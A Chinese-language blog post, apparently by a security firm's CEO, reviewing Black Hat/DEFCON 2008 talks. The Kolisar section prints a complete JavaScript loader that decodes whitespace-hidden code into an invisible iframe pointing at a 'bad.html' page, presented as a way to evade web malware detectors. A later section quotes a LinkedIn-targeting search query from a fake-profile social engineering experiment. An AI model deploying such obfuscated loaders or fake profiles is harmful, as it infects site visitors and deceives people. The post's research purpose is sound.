乍看之下,之前我們說的特徵都沒有:eval()、document.write()、很長的奇怪字串...等。有趣吧!但是其實啊,要躲避目前坊間各家的網頁掛馬偵測,不需這麼複雜,就像 Billy 說的,改寫 vbscript 就好了。目前坊間幾乎都是靜態分析,但是 javscript 這種這麼動態的語言(可以動態產生程式碼)完全不適合用靜態分析。即使號稱有動態分析的,都試用 spidermonkey 兜的,碰到駭客目前使用的一些專門對付 spikermonkey 的 javascript 或任何 vbscript,就失效了。所以除非做的像 HackAlert,不然偵測率會越來越低。

Kolisar 的整段程式碼如下:


<script id='p'>
d=1;
e=76;
h = this;
for (i in h)
{
if(i.length == 8)
{
if(i.charCodeAt(0) == 100)
{
if(i.charCodeAt(7) == 116)
{
break;
}
}
}
}
for (j in h[i])
{
if(j.length == 5)
{
if(j.charCodeAt(0) == 119)
{
if(j.charCodeAt(1) == 114)
{
break;
}
}
}
}
for (k in h[i])
{
if(k.length == 14)
{
if(k.charCodeAt(0) == 103)
{
if(k.charCodeAt(3) == 69)
{
break;
}
}
}
}
r=h[i][k]('p');
for (l in r)
{
if(l.length == 9)
{
if(l.charCodeAt(0) == 105)
{
if(l.charCodeAt(5) == 72)
{
break;
}
}
}
}
a=r[l];
b=a.split('\n');
o = "";
for(c=3; c &lt; (e+3); c++)
{
s=b[c];
for(f=0; f &lt; d; f++)
{
y = ((s.length - (8*d)) + (f*8));
v = 0;
for(x = 0; x &lt; 8; x++)
{
if(s.charCodeAt(x+y) &gt; 9)
{
v++;
}
if(x != 7)
{
v = v &lt;&lt; 1;
}
}
o += String.fromCharCode(v);
}
}
h[i][j](o);
</script>


我在以上程式碼中,利用 whitespaces / tabs 編碼加入了以下這行:

<iframe src="http://malwareguru.com/kolisar/bad.html" style="display: none">

所以您如果執行以上 javascript,這一行最後會被 document.write 出來。其實,如果您選取部分上面的程式,從反白的地方,您就可以清楚地看到隱藏的 whitespaces / tabs 了:



想玩玩看嗎?我架了一份在這裡。

另外這邊提醒的是,這種手法不一定只用來內嵌 iframe,可以直接內嵌一個 javascript 攻擊程式,直接攻瀏覽器漏洞或外掛漏洞。MalwareGuru 上有一些測試用的此類攻擊程式。

這次與 Kolisar 聊了很久,後來聊到他的興趣,他說是變魔術。我說真的假的?他說當然,他很小就開始了。每個魔術都是一個謎題(puzzle),他邊看邊想著破法,很著迷,當然也自己表演。後來談到 Medeco,他又說他也迷開鎖(locksport),因為每個鎖其實就是精心設計的一套謎題(puzzle)。這讓我想到 Kuon 曾經跟我說:「解加殼過的惡意程式很有趣,因為每一個樣本就是一個 puzzle」。Kolisar是他們公司逆向工程解惡意程式(脫殼)的第一把交椅,不是也是這樣嗎?看來會做到資安這行,跟先天基因絕對有關係。我的外祖父賣了一輩子的魔術道具,我從小就一直設法破他設計的魔術,或跟他一起研究他那些堆積如山的魔術師錄影帶。

我目前正在跟 Kolisar 做一些很有趣的研究,有成果時在跟各位分享!

4. Nathan Hamiel & Shawn Moyer:撒旦是我好友:用社交工程手法攻擊社交網路(Satan is on my friendlist: Attacking Social Networks)(Black Hat、DEFCON、官方投影片(不完整)、講師會後公開之投影片(完整)whitepaper、訪問影片)

Nathan 跟 Shawn 今年的演講很賣座,但是我在 Black Hat 時沒空去聽,今天趕緊先去佔位子。社交網站,是下一波資安的大漏洞,我完全同意。只是這種研究最近很多人都在做,故題目本身並不算太新。Nathan 跟 Shawn 先介紹了各大社交網站的 XSS 或 CSRF 漏洞,並示範得很清楚,觀眾也都看得很過癮。Nathan 跟 Shawn 是非常好的講師,兩個人配合起來,像唱雙簧一樣,一搭一唱,效果十足。他們公布的漏洞也都很具體,也很嚴重。但是對於這些社交平台有 XSS 或 CSRF,我一點都不感到意外;事實上我們也有發現不少,只是沒有公開。



這場比較吸引我的,倒是後來介紹的社交工程實驗。Nathan 跟 Shawn 決定在 LinkedIn 上製造一個假的身份,看有多少人受騙。在爭取到 Markus Ranum(實做出第一套商業防火牆 SEAL、前 NFR 的創辦人兼 CEO、目前 Tenable 的 CSO)的同意後,Nat 跟 Shawn 就開始在 LinkedIn 上自己「幫」Marcus 建立了一個帳號。他們從網路上抓了他的照片,資料也都從 Marcus 的官方網站剪貼過來,填得頭頭是道。

接下來要找一些人把這個假的 Marcus 加入好友,這樣這個帳號看起來才像。網路上很多人對於建立線上社交網路很積極,只要你要求把他們加入好友,他們都會答應。Nat 跟 Shawn 用了以下這個 Google hacking 查詢:

"invites accepted" OR "open networker" OR "accepts all invites" OR lion OR toplinked.com OR mylink500 +site:linkedin.com +inurl:/in/ -inurl:updates

從完成假帳號的建立,到使用 Google hacking,到送出約 50 個加入好友 request,只花的一小時。十二個小時後,這個假帳號已經建立了 42 個關連,使得帳號看起來更真實了。不到半天的時間,這個帳號就已經加入了一些資安圈的重要社交群組。接下來就等待看有沒有人送要求過來,希望把假 Marcus 加入好友了。

結果是,很多人送訊息過來,表達在線上遇到 Marcus 實在太好了一些資安界重量級人物也要求把假 Marcus 加入好友,更多人送訊息來跟假 Marcus 討論最新的資安議題...沒有一個人懷疑這個帳號的真實性!而這一切,都是在二十四小時內完成的!

其實本來就是這樣,社交工程一項都是資安裡攻擊者最好用的手法。也難怪這個 blog到目前為止,最多篇文章的分類就是「社交工程」。

以下是 Nat 與 Shawn 在這次 Black Hat 時所接受的訪問:



5. Wendel Guglielmetti Henrique:打穿 WAF(Playing Web Application Firewalls)(大會介紹、投影片)<

來自巴西的講師 Wendel 是巴西滲透測試公司 Intruders Tiger Team Security 的成員,也是 Hackaholic 的成員(但是我之前都不認識他)。Google 了一下倒發現他也是今年 H2HC 的講師。



Wendel 講得很認真,並且有當場 demo 他介紹的技巧如何運用於打穿 Citrix Netscaler 這個 WAF。但是說實在我並沒那麼意外,原因有二。第一,真的要攻擊 WAF,看我之前寫的 Black Hat 第二天 Arian Evans 那場就知道了,人家只是客氣沒有當場 demo 而已。況且這也不是什麼新聞,從以前到現在,各大跟 Web 相關的 mailing list(不好意思寫明啦!),只要談到 WAF vs. Scanning(黑箱或白箱)(阻擋攻擊或修改漏洞),就會一長串口水戰,做 WAF 說 WAF 好,做 scanner 的說 WAF 只能擋小部分攻擊等等... 阿碼科技的看法則是,不同客戶有不同的需求,資安團隊的使命就是了解客戶需求,提供專業的建議並實際解決客戶問題,所以並不會預設立場,也因為這樣我們 WAF(SmartWAF)跟 scanner(CodeSecure)都有,而且現在還可以整合,由 scanner 吐弱點設定檔給 WAF。

第二個原因是,WAF 只是工具,WAF 的自我學習能力再強,也沒有辦法取代人為設定的重要。就像是選生病醫生,有人喜歡選大醫院因為「設備」比較好。我以前也是這樣,但是有了很多經驗,也看多了,聽多了之後,現在我都選醫生。超音波,斷層掃瞄的設備再好,都只是幫醫生做判斷。沒有經驗的醫生,用再好的儀器,都還是沒用,書本上讀的,跟實際有很大的差距。有經驗的醫生,有時看一下病人臉色,問一兩個問題,就可以做出正確的判斷,照都不用照。WAF 也是一樣,WAF 是資安團隊的工具,在來不及把弱點修改好之前,WAF 可以提供一定程度的防禦力。但是 WAF 不是買來就好,重點是設定。我之前就提過了,「...如果找對好的 partner,有心服務客戶,長期經營,技術能量也夠,那即使用免費的開放源碼 ModSecurity 做 Web 防火牆,一樣能設定到讓您高枕無憂。」

如果你的網站是採用主機代管,由具備 SOC 能力的 hosting provider 幫忙處理 security,那不能只是選對方用什麼設備。就像你選銀行的保險箱放重要的東西,銀行告訴你他們採用了全美國最好的 Medeco 保險箱,那你必須知道:
1. 即使是 Medeco,今年也被破了。
2. 但是更重要的是,銀行買了 Medeco,結果到底有沒有上鎖?如果買了結果都沒鎖,有用嗎?
3. 安全不能靠單點而要靠 layered security,銀行用了好的保險箱,但是有沒有監控系統?有沒有人在顧監控系統?大門有沒有警衛?

我們把 SmartWAF 賣給代管廠商,就像我們把保險箱賣給了銀行一樣。銀行到底有沒有好好用,到底有沒有上鎖(SmartWAF 到底有沒有打開?)我們盡全力去影響,但是畢竟我們無法直接管對方。

6. 黑白帽相見歡(Meet the Feds)(大會介紹)
聽完了 Wendel 的演講,接著就是每年 Black Hat 以及 DEFCON 各有一場,很好玩的黑白帽相見歡(Meet the Feds)啦!MTF 每年都是大陣仗,今年也不例外,美國與加拿大兩個政府總共出動了 11 個相關單位代表:



上面照片從左至右的 11 人分別是:
1. Rod Beckstrom:美國國土安全部(DHS)新單位--國家資安中心(National Cyber Security Center、NCSC)」首席,為今年美國政府資安界的當紅新人炸子雞。

2. Lin Wells: 美國國防部網路與資訊整合副次長(白話說法就是美國國防部的副 CIO)(Principal Deputy Assistant Secretary of Defense, Networks and Information Integration),此次代表美國國防大學(National Defense University)

3. Richard Marshall:美國國家安全局(National Security,NSA)

4. Mischel Kwon:美國電腦安全緊急應變中心(US-Cert)

5. 美國國稅局(IRS)

6. Jim Christy(主席):美國國防部網路犯罪中心(Department of Defense Cyber Crime Center,DC3)

7. Tom Pownall:加拿大聯邦警察(Royal Canadian Mounted Police,RCMP)

8. Barry Grundy:美國太空總署電腦犯罪科(NASA Computer Crime Division)

9. David Helfen:美國海軍罪案調查處(Naval Criminal Investigative Service,NCIS)

10. Ray Kessenich:美國國防網路調查訓練學校(Defense Cyber Investigation Training Academy,DCITA)

11. James Finch:美國聯邦調查局(Federal Bureau of Investigation,FBI)

別看加拿大還來湊熱鬧,事實上這些單位(尤其是比較老的)之間互動非常頻繁,加拿大自90年代後期就一直是美國這些單位的重要聯盟伙伴(見此 1998 新聞,RCMP 聯合 FBI、NASA 與 DC3 抓駭客)。

為什麼 NASA 也來呢?NASA 其實在駭客史上是常出現的,因為 NASA 從早期大家就知道,很多好機器,名聲有大,所以大家喜歡攻...還有重點是,其實不難攻,只是會被抓。另外由於各界都對 NASA 的研究很有興趣,所以 NASA 很早就有 website,並有很大的流量。我記得 1995 年世紀大彗星Hale-Bopp被發現時,大家都是到 NASA 的這個網頁來看資料與照片。到 1997 年時,這個網頁已經有一天超過一百萬次的流量了。如果當初有網頁掛馬,想一想一個一天有一百萬次流量,但是又不太難攻的網頁,對駭客的吸引力會有多大。所以在與駭客作戰方面,NASA 一直算「有經驗」的單位 :)

IRS 會來也是差不多原因,但是比 NASA 還多一個強處。美國抓到人卻無法有效舉證判罪時,都是出動 IRS。個人意見,在美國得罪 IRS 比得罪 FBI 還慘。

這場我是從頭笑到尾,我坐正中間第一個位子,一直笑道腰都直不起來。台上風光介紹每個人的資歷,很多人都是科班出身,意思就是美國政府很強啦。台下我後面大家竊竊私語,像蒐集戰利品一樣:

「嗯,來了 11 個,我這幾年加起來,打進了 3 個」
「遜,我 5 個」
「那要看哪 5 個,有一些太容易啦!」
「還有不要跟我說你的是 xss,要開出 shell 的才算」

問問題大排長龍,問的答的都很好笑。

問:「我們要如何判斷什麼是合法的資安研究,什麼是違法的駭客行為?」
答:「下一個!」
問:「就這樣?!」
答:「你哪裡來的?」
問:「俄羅斯」
答:回頭看比 抓起來的手勢:「下一個!」



此次被指定回答最多的,就是 FBI 的先生啦!不過似乎他怎麼回答大家都不相信他的樣子...



不過看來這些單位來,還有一個大目的,就是招募人才。回答中各單位一再重複,加入有多好多好,履歷要投到哪裡等等,問的問題也有好幾個是這方面的。有好幾位代表很年輕並且感覺技術底子很夠,或之前蠻「黑」的。我覺得這樣對這些單位的形象,絕對有很大的加分作用,因為台上一方面感覺有料,一方面又讓台下感覺,有料可以幫國家做有義意的事,而不是在黑暗處搞破壞或被人利用。恩,肯定這場 panel!

我記得還有一題我笑得抬不起來,後面也是,是這題:

問:「發現重大漏洞真的不能直接完整揭露(full disclosure)嗎?」

答:「絕對不行!一定要有耐心跟對方溝通,協助處理完後方可公開!」

聽了快笑死了,每次對方只要是超級大單位,就是先丟一份保密合約(NDA)給我們簽:「不簽就不繼續談」。但是簽了就表示,我們過去現在未來,即使在漏洞修好後十年,或十年後漏洞都還沒修,只要對方不同意,我們就不能公開。你沒看早上第一場 Medeco,Schuyler 探討與對方互動第一原則,就是「絕對不可簽署保密合約」。這方面我回來有表示過意見,沒想到媒體也有報導出來。這樣要叫我們如何「有耐心跟對方溝通」?不簽對方就不溝通啊呵!

結束後我冒著大會攝影機還在拍的風險,去找了這位回答的先生討論,因為我知道他私下處理了不少這類的問題,也幫了不少人。他給了一些聯絡資訊,嗯,以後一定會有用的,心裡想,但是其實我應該去要那位 IRS 先生的聯絡方式,因為我們發現貴單位網站有漏洞很久了。但想想算了,等其他人發現去告訴他吧,我才不淌這種麻煩。

7. NIST:量子加密(Quantum Cryptography)

這場結束後今天也就大功告成啦,等一下還有聚會,真是累死人。利用空檔去繞了一些展示區,發現美國國家標準局(NIST)有來展示量子加密(quantum cryptography)。我資格考考了兩科 quantum,唸了很多 Alice 跟 Bob,但是從沒看過 live 系統,今天真是大開眼界啊!NIST 的研究員正在吃飯,卻放下食物好心的整個跟我解釋了一遍,真是感動,謝謝各位,系統做得真的太帥了!





8. Thomas Wilhelm:移動駭客空間(Mobile Hacker Spaces)
最後繞道了大門外,參觀了一下今年第一次從科羅拉多開過來展是的移動駭客空間(Mobile Hacker Spaces)。移動駭客空間在這個社群中很紅,因為可以開車到處偷別人的無線訊號來做... 研究... 咳...咳...



其實設計這台車的不是別人,就是開放源碼滲透測試工具包 De-ICE.net PenTest LiveCD 的創辦人 Thomas Wilhelm,目前為美國某前 50 大(fortune 50)企業的資安人員,也正在念博士班。Thomas 與朋友合著有:「Penetration Tester's Open Source Toolkit, Volume 2」、「Metasploit Toolkit for Penetration Testing, Exploit Development, and Vulnerability Research」、以及「Netcat Power Tools」等有名的資安工具書。

終於寫完啦,一天寫一點時間真的不夠用,感謝閱讀!我會湊出時間把第二三天也寫完的,會合寫成一篇只敘述重要的演講。

作者 Wayne 為 阿碼科技 CEO

相關文章:
「駭客年會Black Hat / DEFCON 2008 心得一:地下犯罪經濟成熟,影響會議品質?」
「美國駭客年會 Black Hat 2008 觀察--第二天」
「美國駭客年會 Black Hat 2008 觀察--第一天」

繼續閱讀全文...